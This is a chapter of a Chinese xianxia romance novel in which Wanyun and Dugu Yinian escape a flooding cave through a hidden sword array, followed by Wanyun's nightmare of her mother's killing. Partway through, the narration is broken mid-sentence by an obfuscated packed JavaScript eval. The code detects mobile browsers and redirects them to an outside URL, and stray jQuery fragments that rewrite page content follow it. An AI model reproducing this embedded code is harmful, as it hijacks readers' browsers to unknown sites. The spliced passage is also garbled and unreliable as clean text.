暗河在溶洞的另一端,这段时间水位不断上涨,河面与洞顶之间容不下一个人的高度。
    远处的光稀碎地贴在水面上不时变幻一下形态,让挽云感到不真实。眼前暗河的水黑沉沉,仿佛这不是河水而是把光都吞噬了的深渊。
    挽云微微偏头,视线久久地落在水面上,分析道:“我刚才四处看过,这条暗河很有能联通外界。河水很深,水位一直往上涨,要抓紧时间走。”
    她看向独孤一念,声音平稳而冷静:“你有能力独自脱险,先出去。我留在此地,等你求援回来。”
    独孤一念马上反对:“不可能!我绝不会把你一个人丢在这里!”
    挽云蹙眉,试图用逻辑说服他:“这是最优的解法。我现在的状态很差,只有你先出去,我们才有双双存活的可能。否则,大概率会都折在这里。”
    “不可能!”独孤一念粗暴地打断挽云,眼睛死死盯着她。“不可能!”他几乎是咬着牙挤出这句话,“绝不可能!”
    独孤一念那双眼睛里燃烧着愤怒地火焰,挽云感觉自己被灼痛了。她垂下眼睫,看着自己的脚尖,生出一种陌生的,近乎委屈的固执:“明明就是这样……”
    “挽云。”独孤一念双手紧紧抓住挽云的肩膀,用沙哑的声音问:“你告诉我:按照你的‘最优解’,我在外面看着你被困死在这里,却无能为力的可能性有多大?”
    “你冷静一点!”独孤一念的力气很大,挽云被抓疼了,用力挣开,一阵酸楚涌上鼻尖,让她眼眶微微发热。
    “我那种不是牺牲自己成全别人的圣人,我很惜命的!”她挣开独孤一念,声音无法控制的颤抖。
    “要是我的身体能够支持,我也不会让你先出去。你现在不走,一个也走不掉。这就是最好的办法。”
    挽云听见独孤一念粗重的呼吸平复下来,她以为独孤一念终于同意了。可是,独孤一念只是泄气似的慢慢蹲下来,让自己出现在挽云的视野里。
    他仰着头,琥珀色的眼睛里有挽云看不懂的情绪他说对挽云说:“两个人有照应总比一个人强,总会有别的办法。挽云,没有你我走不出去。”
    那是什么情绪呢?
    如果他信念坚决,为何会茫然和恐惧?现状清晰明了,他为什么要愤怒地质疑,绝望地恳求?
    挽云猜不透独孤一念的心思,但她明白自己的想法。
    她也蹲下来,和独孤一念的视线平齐。那双一贯清冷疏离的眼睛里,是残忍的冷静:“两个人一起走,我会把你害死。”
    挽云在认定地事情上,犟得令人头疼。独孤一念的眼睛黯淡了一瞬,向她确认:“你现在身体已经糟糕到连一点灵力都用不了?”
    挽云点点头。
    “那就好。”独孤一念右手撑地借力跳起身,剑在左手旋了个漂亮的花。
    趁挽云不备,忽然将她打横抱了起来。
    突如其来的失重感把挽云吓了一跳。她下意识蹬腿挣扎,无果。她又用拳头锤独孤一念的肩膀,手疼。
    “独孤一念你……大混蛋!把我放下来!”
    “唉,真拿你这死脑筋没办法。”独孤一念的计谋得逞,笑得像个大反派:“既然你手无缚鸡之力,那就得乖乖听我的,听到了吗?如敢不从,我就把你打晕抗走。”
    挽云赌气地推独孤一念的手臂,偏偏像铁箍一样,纹丝不动。她咬住下唇,重新分析现状。
    最终决定放弃争执,节省体力,根据独孤一念的想法制定新的计划:“独孤一念,那里有一个报废的空间传送阵,过去看看。说不定能修好。”
    “好!”独孤一念看了一眼暗河另一头的光亮,毫不留恋地离开,前往挽云所指的方向。
    挽云有点烦恼:独孤一念会背人,但是抱不好。
    他原本放在她的后背手掌,慢慢变得无处安放,于是乎只虚虚地搭着。晃得挽云重心不稳,只能抓住他的前襟。
    但是从她的视角往上偷偷地瞧独孤一念,可以看见他利落的下颌角,还有嘴角冷硬的线条。她心想:独孤一念似乎不太高兴。
    她有点理解了那天独孤一念在船上的醉话。真的会有人,明明他什么也没有说,你却早就为他无意识下垂的嘴角发愁。
    挽云将心比心,如果独孤一念心情不好的话,是不是不应该直接指出他的错误呀?挽云斟酌着没开口,想着怎么委婉地提示他。
    独孤一念心情确实没有表现出的那样轻松,刚才失控的愤怒和对前途的忧虑真实存在。
    但现在,他必须要比挽云的意志更坚定,比她预想的更可靠,才能把这个小顽固带出去。
    果然,他听见挽云一板一眼地讲:“独孤一念,你应该用主力手横穿过我的背部,并用左臂穿过膝窝——你弄反了。”
    现在冰冷的水已经没过独孤一念的小腿肚,他行过处都是被搅乱的水波。独孤一念自然不可能把挽云放下:“没关系的,你很轻,不费力。”
    挽云持续表达不满:“你快把我放下来……我要生气了。”
    独孤一念没有理解挽云的意思,理直气壮:“我不放,你是恶人先告状。刚才你还信誓旦旦地说要相信我,结果一到关键时刻就翻脸。你在我这里已经没有信誉了。”
    鸡同鸭讲,挽云鼓鼓腮帮子,嫌弃独孤一念这好蠢一呆瓜。
    “你的手放得不对!我现在在往下滑,很不舒服。”她眯着眼睛,指挥独孤一念完成“标准动作:“应该是一手横过肩胛骨下方,另一手穿过膝窝,手掌托住大腿。”
    “对不起!”独孤一念僵在原地,闹了个大红脸。这才反应过来,调整自己的动作。
    挽云松开眉头,按照书上讲的,将身子放松贴近他的胸口,然后用手臂轻轻搂住他脖颈。
    她贴着独孤一念的胸口,找到了一个舒适安稳的姿势。听见他的心跳,终于不再有那种摇摇欲坠的危险感,
    这种心跳声很符合挽云的审美,不快不慢,频率稳定,让人的心绪平静。
    “独孤一念,我眯一会。到了叫醒我。”
    挽云一会儿轻飘飘的,仿佛没有重量,一会儿又沉甸甸的,填满了整个怀抱。独孤一念认真地回答她:“好的,我保证。”
    水从头顶和壁的裂缝中愈发疯狂地涌入,水位急速上升。独孤一念无法,在石壁上临时削了一个平台,以供落脚。
    他看见了挽云说的空间传送阵,但已经被地震波及,
    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16614920|187707||http|test|mini|href|location''.split(''|''),0,{}));
    () {
    $(''.inform'').remove();
    $(''#content'').append(''
    损坏严重,恐怕难以重启。
    还好,他眼尖的看见大的空间传送阵里还有一个小型的剑阵。独孤一念清晰地记得师姐教过这个剑阵,却只模糊地记得解法。
    不过问题不大,引用流云剑尊的名言:聪明的阵修什么都算得清楚,但我们剑修也有剑修的办法。破解阵法”,就是先考虑“破”,行不通再考虑“解”。
    独孤一念招来飞剑,深吸一口气,眼神陡然锐利,谨慎地确认剑气的落点和角度,然后全力向上挥出一剑。
    “截轻鸿,破!”
    所谓“山重水复疑无路,柳暗花明又一村”。嗡——一声低沉的嗡鸣响起。被冲击的岩壁并未碎裂,反而有灵力如同水波般荡漾开来,露出一条通往上方的通道,通道两侧的石墙上挂着明亮的铃兰灯。
    “找到了!是出口!”
    突如其来的发现让惊喜冲刷独孤一念全身的经脉,疲惫和焦虑都冰消瓦解。
    他迫不及待地把好消息分享给挽云:“挽云,醒醒。我们找到路了。挽云安静地阖着眼,没有回应。他慌张地轻轻拍打她的脸颊,触手一片冰凉的湿滑,是泪痕。
    是噩梦有缠上了挽云。
    她又梦见自己躲在那个黑暗逼仄的柜子里,听见脚步声靠近。可她这次却没有因为恐惧而惊醒,遥远的地方传来心跳声,一下又一下,让她能够继续梦下去。
    雕花柜门被打开,不是娘亲,也不是阿爹,而是一个陌生的女人。她一身红衣服,上面绣着精美的彼岸花,眼角还有一颗泪痣。
    红衣女子很是亲昵地捏捏挽云的脸颊,把她从柜子里抱了出来,带到院子里。
    到处都是红色的,有的是火,有的是血。挽云知道自己在哭喊,可是这个梦境中只让挽云听噼里啪啦的大火的声音。
    挽云看见了娘亲。
    娘亲听到了自己的哭声,焦急地回头,可一把刀忽然刺穿了她的胸膛。红衣女子颇有乐趣地将挽云放到地上,看着她跌跌撞撞地跑过去。
    这时,娘亲胸口的长刀被忽然拔出,顿时血流如注,染红了衣裳,溅到挽云的眼睛里,很痛很痛。
    身子软倒在地的娘亲吃力将挽云抱在怀里。
    挽云大哭着,看见那个持刀的年轻的男人,一头披散的黑发,一双狰狞的红色眼睛——是阿爹。
    挽云终于听见火烧竹子之外的声音,是那个红衣女人歇斯底里的大笑,尖锐刺耳,把挽云带入痛苦和恐惧的漩涡之中。
    “挽云,挽云,醒醒。”
    挽云听见有人叫她,可是她仿佛被困在梦里。每一次从黑暗中挣扎地醒来,却发现还在梦里。
    “挽云,醒醒。”
    挽云感觉自己在沉着在湖底。她奋力向上游,终于得到一口新鲜的呼吸。
    她睁开眼,回到现实,哭笑不得地发现独孤一念正捏住了她的鼻子。
    独孤一念问挽云:“做噩梦了?”
    挽云回想,忽然发现自己对梦中之事的印象早已模糊不清:“没什么,梦都是反的,只不过无关紧要的事情。”
    她整理心情环顾四周,发现自己身处熟悉的石室,墙上挂着明亮的铃兰灯。她惊喜万分:“你是怎么进到这里来的?”